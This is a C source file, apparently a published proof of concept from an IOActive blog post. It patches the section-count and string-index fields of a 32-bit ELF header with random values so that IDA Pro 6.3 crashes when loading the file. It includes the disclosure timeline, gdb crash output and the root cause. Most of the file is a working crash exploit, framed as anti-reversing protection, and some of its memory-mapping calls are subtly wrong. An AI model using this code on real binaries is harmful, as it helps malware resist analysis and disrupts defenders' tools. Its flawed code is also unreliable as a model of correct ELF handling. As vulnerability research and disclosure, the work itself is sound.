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/* * * IDA Pro 6.3 (crash due an internal error) * ELF anti-debugging/reversing patcher * * Published @ IOActive Labs Research blog: * http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html * * - nitr0us [ http://twitter.com/nitr0usmx ] * * Tested under: * IDA Pro Starter License 6.3.120531 (Mac OS X) * IDA Pro Demo6.3.120730 (Ubuntu Linux 9.04) * IDA Pro Demo6.3.120730 (Mac OS X 10.7.3) * IDA Pro Demo6.3.120730 (Windows Vista Home Premium SP2) * * Bug found using Frixyon fuzzer (my ELF file format fuzzer still in develo= pment) * * Timeline: * 21/11/2012The bug was found on IDA Demo 6.3 * 22/11/2012The bug was tested on IDA Pro Starter License 6.3.120531 (3= 2-bit) * 22/11/2012The bug was reported through the official Hex-Rays contact = emails * 23/11/2012Hex-Rays replied and agreed that the bug leads to an unreco= verable * state and it will be fixed on the next release * **************** TECHNICAL DETAILS *********************** nitr0us@burial:~$ gdb -q idaq (gdb) r a.out (no debugging symbols found) Program received signal SIGTRAP, Trace/breakpoint trap. [Switching to Thread 0xb6860760 (LWP 3638)] 0xb55f7694 in default_notification_handler (reader=@0xbfbffae0, notif=reader_t::err_shstrndx) at reader.cpp:33 33reader.cpp: No such file or directory. in reader.cpp Current language:auto; currently c++ (gdb) The root cause of the problem is that there's no validation to verify if e_shstrndx > e_shnum before referencing it. ********************************************************** * * [Compilation] $ gcc ida_63_elf_shield.c -o ida_63_elf_shield -Wall * * Sh0utz: IOActive fellows, CRAc, b33rc0n crew (dex, hkm, calderpwn, * Carlos Ayala, Daemon [Thanks for test it on IDA paid $$$],=20 * LightOS) chr1x, alt3kx, tr3w, crypkey, el_chito, nahual, beck,=20 * sirdarkcat, NataS, ran, Fede Bossi, nediam, psymera, Rolman,=20 * Kbrown, Bucio, p4dm3, Hector Lopez, zeus, Matias Brutti, * sunl3vy, Raaka_elgaupo, vendetta, raito, beavis, el5patas,=20 * vi0let. * * * http://chatsubo-labs.blogspot.com * http://www.brainoverflow.org * */ #include <sys/mman.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdio.h> #include <fcntl.h> #include <time.h> #define EI_NIDENT 16 #define ELFCLASS321 /* 32-bit objects */ #define ELFDATA2LSB 1 /* 2's complement, little endian */ const char e_magic[4] = { 0x7f, 'E', 'L', 'F' }; typedef uint16_t Elf32_Half; typedef uint32_t Elf32_Word; typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Off; typedef struct { unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf32_Halfe_type; /* Object file type */ Elf32_Halfe_machine;/* Architecture */ Elf32_Worde_version;/* Object file version */ Elf32_Addre_entry;/* Entry point virtual address */ Elf32_Off e_phoff;/* Program header table file offset= */ Elf32_Off e_shoff;/* Section header table file offset= */ Elf32_Worde_flags;/* Processor-specific flags */ Elf32_Halfe_ehsize; /* ELF header size in bytes */ Elf32_Halfe_phentsize;/* Program header table entry size = */ Elf32_Halfe_phnum;/* Program header table entry count= */ Elf32_Halfe_shentsize;/* Section header table entry size = */ Elf32_Halfe_shnum;/* Section header table entry count= */ Elf32_Halfe_shstrndx; /* Section header string table inde= x */ } Elf32_Ehdr; int isELF(int fd); int main(int argc, char **argv) { Elf32_Ehdr*header; Elf32_Halfnew_shnum; Elf32_Halfnew_shstrndx; intfd; printf("######################################################\n"); printf("##\n"); printf("# IDA Pro 6.3 - ELF anti-debugging/reversing patcher #\n"); printf("#-nitr0us- #\n"); printf("##\n"); printf("######################################################\n\n"); if(argc < 2){ fprintf(stderr, "Usage: %s <elf_file_to_patch>\n", argv[0]); exit(-1); } if((fd = open(argv[1], O_RDWR)) == -1){ perror("open"); exit(-1); } if(!isELF(fd)){ close(fd); exit(-1); } // Mapping to memory only the necessary bytes [sizeof(header)] if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | PRO= T_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){ perror("mmap"); close(fd); exit(-1); } printf("[*] The ELF file originally has:\n"); printf("[-] Ehdr->e_shnum:%5d (0x%.4x)\n", header->e_shnum, header->= e_shnum); printf("[-] Ehdr->e_shstrndx: %5d (0x%.4x)\n\n", header->e_shstrndx, hea= der->e_shstrndx); printf("[*] Patching \"%s\" with new random() values...\n\n", argv[1]); srand(time(NULL)); // seed for rand() new_shnum= (Elf32_Half) rand() % 0x1337; new_shstrndx = (Elf32_Half) 0; while(new_shstrndx < new_shnum) new_shstrndx = (Elf32_Half) rand() % 0xDEAD; header->e_shnum= new_shnum; header->e_shstrndx = new_shstrndx; // Synchronize the ELF in file system with the previous memory mapped if(msync(NULL, 0, MS_SYNC) == -1){ perror("msync"); close(fd); exit(-1); } close(fd); munmap(header, 0); printf("[*] The patched ELF file now has:\n"); printf("[+] Ehdr->e_shnum:%5d (0x%.4x)\n", new_shnum, new_shnum); printf("[+] Ehdr->e_shstrndx: %5d (0x%.4x)\n\n", new_shstrndx, new_shstr= ndx); printf("[*] IDA Pro 6.3 should crash trying to load \"%s\"\n", argv[1]); return 0; } int isELF(int fd) { Elf32_Ehdrheader; if(read(fd, &header, sizeof(header)) == -1){ perror("isELF(): read"); return 0; } /* magic number verification */ if(memcmp(header.e_ident, e_magic, 4) != 0){ fprintf(stderr, "The argument given is not an ELF file !\n"); return 0; } /* 32-bit class verification */ if(header.e_ident[4] != ELFCLASS32){ fprintf(stderr, "Only 32-bit ELF files supported !\n"); return 0; } /* little-endian verification */ if(header.e_ident[5] != ELFDATA2LSB){ fprintf(stderr, "Only little-endian ELF files supported !\n"); return 0; } return 1; } |
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